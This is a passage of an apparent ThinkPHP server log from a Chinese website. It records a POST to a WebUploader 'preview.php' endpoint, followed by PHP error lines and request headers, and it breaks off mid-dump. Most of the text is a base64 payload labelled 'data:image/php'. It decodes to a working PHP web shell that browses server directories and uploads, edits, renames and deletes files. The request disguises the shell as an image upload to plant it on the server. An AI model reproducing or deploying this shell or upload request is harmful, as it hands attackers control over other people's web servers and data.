'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:38+08:00 ] 116.213.36.234 POST www.51tianwei.com/js/webuploader/0.1.15/server/preview.php [运行时间:0.002472s] [吞吐率:404.54req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'js', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 